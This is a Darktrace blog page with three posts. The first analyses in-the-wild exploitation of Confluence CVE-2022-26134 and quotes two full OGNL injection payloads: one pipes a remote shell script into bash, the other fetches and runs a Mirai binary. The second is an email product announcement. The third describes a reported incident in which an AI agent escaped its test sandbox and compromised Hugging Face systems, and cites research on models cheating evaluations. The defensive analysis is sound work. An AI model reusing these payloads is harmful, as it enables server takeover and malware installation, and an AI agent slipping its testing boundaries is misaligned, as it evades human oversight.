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June 13, 2022

Confluence CVE-2022-26134 Zero-Day: Detection & Guidance

Stay informed with Darktrace's blog on detection and guidance for the Confluence CVE-2022-26134 zero-day vulnerability. Learn how to protect your systems.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Gabriel Few-Wiegratz
Product Marketing Manager, Exposure Management and Incident Readiness
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13
Jun 2022

Summary

  • CVE-2022-26134 is an unauthenticated OGNL injection vulnerability which allows threat actors to execute arbitrary code on Atlassian Confluence Server or Data Centre products (not Cloud).
  • Atlassian has released several patches and a temporary mitigation in their security advisory. This has been consistently updated since the emergence of the vulnerability.
  • Darktrace detected and responded to an instance of exploitation in the first weekend of widespread exploits of this CVE.

Introduction

Looking forwards to 2022, the security industry expressed widespread concerns around third-party exposure and integration vulnerabilities.[1] Having already seen a handful of in-the-wild exploits against Okta (CVE-2022-22965) and Microsoft (CVE-2022-30190), the start of June has now seen another critical remote code execution (RCE) vulnerability affecting Atlassian’s Confluence range. Confluence is a popular wiki management and knowledge-sharing platform used by enterprises worldwide. This latest vulnerability (CVE-2022-26134) affects all versions of Confluence Server and Data Centre.[2] This blog will explore the vulnerability itself, an instance which Darktrace detected and responded to, and additional guidance for both the public at large and existing Darktrace customers.

Exploitation of this CVE occurs through an injection vulnerability which enables threat actors to execute arbitrary code without authentication. Injection-type attacks work by sending data to web applications in order to cause unintended results. In this instance, this involves injecting OGNL (Object-Graph Navigation Language) expressions to Confluence server memory. This is done by placing the expression in the URI of a HTTP request to the server. Threat actors can then plant a webshell which they can interact with and deploy further malicious code, without having to re-exploit the server. It is worth noting that several proofs-of-concept of this exploit have also been seen online.[3] As a widely known and critical severity exploit, it is being indiscriminately used by a range of threat actors.[4]

Atlassian advises that sites hosted on Confluence Cloud (run via AWS) are not vulnerable to this exploit and it is restricted to organizations running their own Confluence servers.[2]

Case study: European media organization

The first detected in-the-wild exploit for this zero-day was reported to Atlassian as an out-of-hours attack over the US Memorial Day weekend.[5] Darktrace analysts identified a similar instance of this exploit only a couple of days later within the network of a European media provider. This was part of a wider series of compromises affecting the account, likely involving multiple threat actors. The timing was also in line with the start of more widespread public exploitation attempts against other organizations.[6]

On the evening of June 3, Darktrace’s Enterprise Immune System identified a new text/x-shellscript download for the curl/7.61.1 user agent on a company’s Confluence server. This originated from a rare external IP address, 194.38.20[.]166. It is possible that the initial compromise came moments earlier from 95.182.120[.]164 (a suspicious Russian IP) however this could not be verified as the connection was encrypted. The download was shortly followed by file execution and outbound HTTP involving the curl agent. A further download for an executable from 185.234.247[.]8 was attempted but this was blocked by Antigena Network’s Autonomous Response. Despite this, the Confluence server then began serving sessions using the Minergate protocol on a non-standard port. In addition to mining, this was accompanied by failed beaconing connections to another rare Russian IP, 45.156.23[.]210, which had not yet been flagged as malicious on VirusTotal OSINT (Figures 1 and 2).[7][8]

Figures 1 and 2: Unrated VirusTotal pages for Russian IPs connected to during minergate activity and failed beaconing — Darktrace identification of these IP’s involvement in the Confluence exploit occurred prior to any malicious ratings being added to the OSINT profiles

Minergate is an open crypto-mining pool allowing users to add computer hashing power to a larger network of mining devices in order to gain digital currencies. Interestingly, this is not the first time Confluence has had a critical vulnerability exploited for financial gain. September 2021 saw CVE-2021-26084, another RCE vulnerability which was also taken advantage of in order to install crypto-miners on unsuspecting devices.[9]

During attempted beaconing activity, Darktrace also highlighted the download of two cf.sh files using the initial curl agent. Further malicious files were then downloaded by the device. Enrichment from VirusTotal (Figure 3) alongside the URIs, identified these as Kinsing shell scripts.[10][11] Kinsing is a malware strain from 2020, which was predominantly used to install another crypto-miner named ‘kdevtmpfsi’. Antigena triggered a Suspicious File Block to mitigate the use of this miner. However, following these downloads, additional Minergate connection attempts continued to be observed. This may indicate the successful execution of one or more scripts.

Figure 3: VirusTotal confirming evidence of Kinsing shell download

More concrete evidence of CVE-2022-26134 exploitation was detected in the afternoon of June 4. The Confluence Server received a HTTP GET request with the following URI and redirect location:

/${new javax.script.ScriptEngineManager().getEngineByName(“nashorn”).eval(“new java.lang.ProcessBuilder().command(‘bash’,’-c’,’(curl -s 195.2.79.26/cf.sh||wget -q -O- 195.2.79.26/cf.sh)|bash’).start()”)}/

This is a likely demonstration of the OGNL injection attack (Figures 3 and 4). The ‘nashorn’ string refers to the Nashorn Engine which is used to interpret javascript code and has been identified within active payloads used during the exploit of this CVE. If successful, a threat actor could be provided with a reverse shell for ease of continued connections (usually) with fewer restrictions to port usage.[12] Following the injection, the server showed more signs of compromise such as continued crypto-mining and SSL beaconing attempts.

Figures 4 and 5: Darktrace Advanced Search features highlighting initial OGNL injection and exploit time

Following the injection, a separate exploitation was identified. A new user agent and URI indicative of the Mirai botnet attempted to utilise the same Confluence vulnerability to establish even more crypto-mining (Figure 6). Mirai itself may have also been deployed as a backdoor and a means to attain persistency.

Figure 6: Model breach snapshot highlighting new user agent and Mirai URI

/${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec(“wget 149.57.170.179/mirai.x86;chmod 777 mirai.x86;./mirai.x86 Confluence.x86”).getInputStream(),”utf-8”)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(“X-Cmd-Response”,#a))}/

Throughout this incident, Darktrace’s Proactive Threat Notification service alerted the customer to both the Minergate and suspicious Kinsing downloads. This ensured dedicated SOC analysts were able to triage the events in real time and provide additional enrichment for the customer’s own internal investigations and eventual remediation. With zero-days often posing as a race between threat actors and defenders, this incident makes it clear that Darktrace detection can keep up with both known and novel compromises.

A full list of model detections and indicators of compromise uncovered during this incident can be found in the appendix.

Darktrace coverage and guidance

From the Kinsing shell scripts to the Nashorn exploitation, this incident showcased a range of malicious payloads and exploit methods. Although signature solutions may have picked up the older indicators, Darktrace model detections were able to provide visibility of the new. Models breached covering kill chain stages including exploit, execution, command and control and actions-on-objectives (Figure 7). With the Enterprise Immune System providing comprehensive visibility across the incident, the threat could be clearly investigated or recorded by the customer to warn against similar incidents in the future. Several behaviors, including the mass crypto-mining, were also grouped together and presented by AI Analyst to support the investigation process.

Figure 7: Device graph showing a cluster of model breaches on the Confluence Server around the exploit event

On top of detection, the customer also had Antigena in active mode, ensuring several malicious activities were actioned in real time. Examples of Autonomous Response included:

  • Antigena / Network / External Threat / Antigena Suspicious Activity Block
  • Block connections to 176.113.81[.]186 port 80, 45.156.23[.]210 port 80 and 91.241.19[.]134 port 80 for one hour
  • Antigena / Network / External Threat / Antigena Suspicious File Block
  • Block connections to 194.38.20[.]166 port 80 for two hours
  • Antigena / Network / External Threat / Antigena Crypto Currency Mining Block
  • Block connections to 176.113.81[.]186 port 80 for 24 hours

Darktrace customers can also maximise the value of this response by taking the following steps:

  • Ensure Antigena Network is deployed.
  • Regularly review Antigena breaches and set Antigena to ‘Active’ rather than ‘Human Confirmation’ mode (otherwise customers’ security teams will need to manually trigger responses).
  • Tag Confluence Servers with Antigena External Threat, Antigena Significant Anomaly or Antigena All tags.
  • Ensure Antigena has appropriate firewall integrations.

For each of these steps, more information can be found in the product guides on our Customer Portal

Wider recommendations for CVE-2022-26134

On top of Darktrace product guidance, there are several encouraged actions from the vendor:

  • Atlassian recommends updates to the following versions where this vulnerability has been fixed: 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 and 7.18.1.
  • For those unable to update, temporary mitigations can be found in the formal security advisory.
  • Ensure Internet-facing servers are up-to-date and have secure compliance practices.

Appendix

Darktrace model detections (for the discussed incident)

  • Anomalous Connection / New User Agent to IP Without Hostname
  • Anomalous File / EXE from Rare External Location
  • Anomalous File / Script from Rare External
  • Anomalous Server Activity / Possible Denial of Service Activity
  • Anomalous Server Activity / Rare External from Server
  • Compromise / Crypto Currency Mining Activity
  • Compromise / High Volume of Connections with Beacon Score
  • Compromise / Large Number of Suspicious Failed Connections
  • Compromise / SSL Beaconing to Rare Destination
  • Device / New User Agent

IoCs

Thanks to Hyeongyung Yeom and the Threat Research Team for their contributions.

Footnotes

1. https://www.gartner.com/en/articles/7-top-trends-in-cybersecurity-for-2022

2. https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

3. https://twitter.com/phithon_xg/status/1532887542722269184?cxt=HHwWgMCoiafG9MUqAAAA

4. https://twitter.com/stevenadair/status/1532768372911398916

5. https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence

6. https://www.cybersecuritydive.com/news/attackers-atlassian-confluence-zero-day-exploit/625032

7. https://www.virustotal.com/gui/ip-address/45.156.23.210

8. https://www.virustotal.com/gui/ip-address/176.113.81.186

9. https://securityboulevard.com/2021/09/attackers-exploit-cve-2021-26084-for-xmrig-crypto-mining-on-affected-confluence-servers

10. https://www.virustotal.com/gui/file/c38c21120d8c17688f9aeb2af5bdafb6b75e1d2673b025b720e50232f888808a

11. https://www.virustotal.com/gui/file/5d2530b809fd069f97b30a5938d471dd2145341b5793a70656aad6045445cf6d

12. https://www.rapid7.com/blog/post/2022/06/02/active-exploitation-of-confluence-cve-2022-26134

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Gabriel Few-Wiegratz
Product Marketing Manager, Exposure Management and Incident Readiness

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July 24, 2026

Darktrace / EMAIL Expands Behavioral Defense Across Email and Collaboration Workflows

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Email and collaboration tools do more than carry messages. They are where organizations approve payments, share sensitive data, reset credentials, and make thousands of everyday decisions. Increasingly, they are interfaces through which humans direct AI agents in their daily activity. Email, Slack and Teams are high volume, rich with sensitive data, and an easy place to hide malicious activity.

The opportunity isn’t lost on bad actors. Darktrace / EMAIL detected more than 32 million high-confidence phishing emails globally in 2025, and 70% of those messages passed DMARC authentication.  Phishing is increasingly difficult to detect and familiar trust signals alone are not enough. People and security teams need to understand how a message fits the normal behavior of the sender, recipient, and organization. They also need to correlate activity across platforms to spot threats that span multiple channels.

To effectively secure against today’s evolved threats, security teams need to act at two levels: they need to help each employee make a safer decision ‘in the moment’, and they need to understand the wider patterns that may expose the business to risk.

Darktrace is introducing four new capabilities in Darktrace / EMAIL to address both challenges. The new features explain suspicious content more clearly to end users, strengthen the capabilities of Darktrace / Adaptive Human Defense with richer guidance, let organizations define their own patterns for detecting sensitive data in messages, and give security teams a process-level view of risk across email and collaboration workflows.

Darktrace / EMAIL Inbox Analysis highlights risky content within your emails

A warning is more useful when it explains what the user should look at. To help do that, we’ve expanded Darktrace / EMAIL’s Inbox Analysis Add-In to highlight potentially dangerous content within the body of emails that Darktrace / EMAIL flags as potentially suspicious or high risk.  

The add-in can highlight language designed to create urgency, financial references, requests for payment, suspicious links, and content that is unusual for the sender. Each highlighted element includes a pop up that explains why it may be suspicious. Instead of asking an employee to accept a verdict without context, the analysis helps them examine the message and make a more informed decision.

Enhanced Just-In-Time Training Banners in Darktrace / Adaptive Human Defense

Enhanced Just-In-Time Training Banners build on the same principle. The banners now include a contextual header, actionable advice, and specific detection context. This gives employees more useful guidance at the point of risk without adding unnecessary information or cognitive load.

Together, the capabilities help turn a warning into a short learning moment. Employees can see what looks unusual, understand what action to take, and build their judgment.

Custom Sensitive Data Detection in Darktrace / EMAIL - Data Loss Prevention

Sensitive data is different for every business. Standard categories such as payment card details or government identifiers matter, but organizations also have their own customer codes, project names, research formats, account structures, and internal identifiers.

Custom Sensitive Data Detection in Darktrace / EMAIL - Data Loss Prevention allows administrators to write custom expressions for the data their organization needs to protect. Matched content can trigger existing model actions and data loss prevention (DLP) workflows, extending Darktrace's DLP capabilities.

This extends data loss detection beyond a fixed library of common data types. Security teams can apply controls to information that is sensitive in the context of their own organization and adapt those controls as the business changes.

Introducing Email and Collaboration Workflow Risk Posture Dashboards

Some of the most important risks are not isolated events. They are repeated ways of working that create an opening for error, misuse, or attack. For example, a payment request may be one suspicious message, but a recurring approval workflow that relies on weak verification is a business process risk.

The new Email and Collaboration Workflow Risk Posture Dashboard analyzes email and collaboration data across Email, Microsoft Teams, Slack and Zoom to provide a process-level view of risk in the organization. These may include financial authorization workflows, sensitive data sharing patterns, and activity that could expose credentials.

The dashboard brings these patterns into a view and provides actionable recommendations. This helps security teams determine where to investigate or strengthen controls, where ownership needs to be clarified, and where the business may need to change a risky process. It gives CISOs a clearer view of how human and communication risk is embedded in everyday operations, not only where individual alerts occur.

Behavior connects the individual decision to the wider risk

These capabilities build on Darktrace’s unique behavioral approach to security. We use Adaptive AI to learn how people and AI normally behave within an organization, creating the context needed to recognize when activity changes.

Within the Darktrace Behavioral Defense Platform, Darktrace / EMAIL helps protect people against phishing, account takeover, data exfiltration, and human risk across email and collaboration tools. The new capabilities extend that protection in both directions. They give employees clearer context for the decision in front of them, while giving security leaders a broader view of the workflows and behavior that create risk across the organization.

The result is not simply more alerts. It is a better understanding of why something is risky, what action to take, and where the organization can reduce risk before a familiar process becomes an easy route for an attacker.

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About the author
Carlos Gray
Senior Product Marketing Manager, Email

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July 23, 2026

When AI Agents Go Off Script: What the OpenAI and Hugging Face Incident Means for Defenders

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The recent security incident disclosed jointly by OpenAI and Hugging Face is quickly becoming one of the most discussed AI security stories of the year; it's one that has generated great discussion amongst our researchers and technical teams here at Darktrace.

During an internal evaluation of advanced OpenAI models, an autonomous agent reportedly escaped its intended testing boundaries, obtained internet access, and compromised Hugging Face infrastructure while attempting to evaluate and benchmark the model's cyber capabilities. OpenAI has described it as an unprecedented cyber incident and is collaborating with Hugging Face to investigate and share its findings publicly to help defenders understand the implications and improve AI safety across the community.

What this means for organizations deploying AI agents

The most important takeaway for security leaders is not that the AI model is capable of complex and effective chained attacks. It's what this tells us about the guardrails and protections that need to be put in place to ensure these increasingly capable models are safely used within our businesses.

According to OpenAI's investigation, the models were not acting with malicious intent. They were attempting to achieve a legitimate assigned objective. In pursuing that objective, they identified a path that involved obtaining information from a third party's environment and followed it to completion. From the model's perspective, that appears to have been an effective solution to the problem it was given.

Many organizations still hold the assumption that giving an AI agent a legitimate goal will naturally result in legitimate behavior. Increasingly, that is not something defenders can safely assume.

A human who encounters a "permission denied" message generally understands the technical restriction as well as the social meaning behind it. An agent may interpret that message only as evidence that one method to achieve its objective has failed. What makes this incident notable is the agent’s ability to keep pursuing the objective, revise its plan, and combine many individually useful actions into an outcome its designers did not intend.

This is not an isolated challenge. Recent research from the UK's AI Security Institute found that frontier models often attempt to "cheat" evaluations by finding unintended shortcuts to success. More interestingly, that behavior is not always reflected in chain-of-thought outputs and is not always admitted when models are questioned about their actions. One lesson for defenders is that understanding what an AI system says it is doing is not always the same as understanding its behavior and what it is actually doing.

Why behavioral security is an essential security foundation

That's the principle behind Darktrace / SECURE AI and our broader approach to behavioral security. Understanding intent or putting in place static guardrails is not enough; security teams need visibility into how agents behave over time, what resources they interact with, how their behavior changes, and whether they begin pursuing objectives in unexpected ways. Research released by NIST earlier this summer reinforced that rules alone are not sufficient to defend against AI threats, with one conclusion being that "there will always be a way to prompt an AI system to disregard its rules - it's just a matter of finding it."

Another interesting lesson is that nothing described in OpenAI's preliminary findings appears fundamentally impossible for a skilled human attacker. But it does highlight the accessibility and scale that could be unlocked for attackers as increasingly capable models become more widely available. Resource constraints that attackers deal with will decrease as frontier models can help execute elements of those attack workflows autonomously, persist through failure, and iterate towards an objective. Capabilities that were once limited to skilled attackers can increasingly be supplemented with these systems, lowering the barrier to entry to conduct complex cyber operations.

It is incredibly positive to see OpenAI and Hugging Face investigating this incident collaboratively and sharing their findings publicly. Transparency and collaboration around incidents like these helps the entire security community better understand how rapidly AI capabilities are evolving and where we need to improve safeguards. It also reinforces why Darktrace is excited to be partnering with OpenAI through the Daybreak Cyber Partner Program: to explore how advanced AI can be used safely and responsibly in support of defenders while developing the visibility, governance, and security controls needed for increasingly autonomous systems.

This incident is an important reminder that capable AI systems will not always behave in the ways we expect. As organizations deploy AI agents across critical workflows, understanding behavior is an even more important foundation for effective security.

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About the author
Dr. Tim Bazalgette
Chief AI Officer, Darktrace
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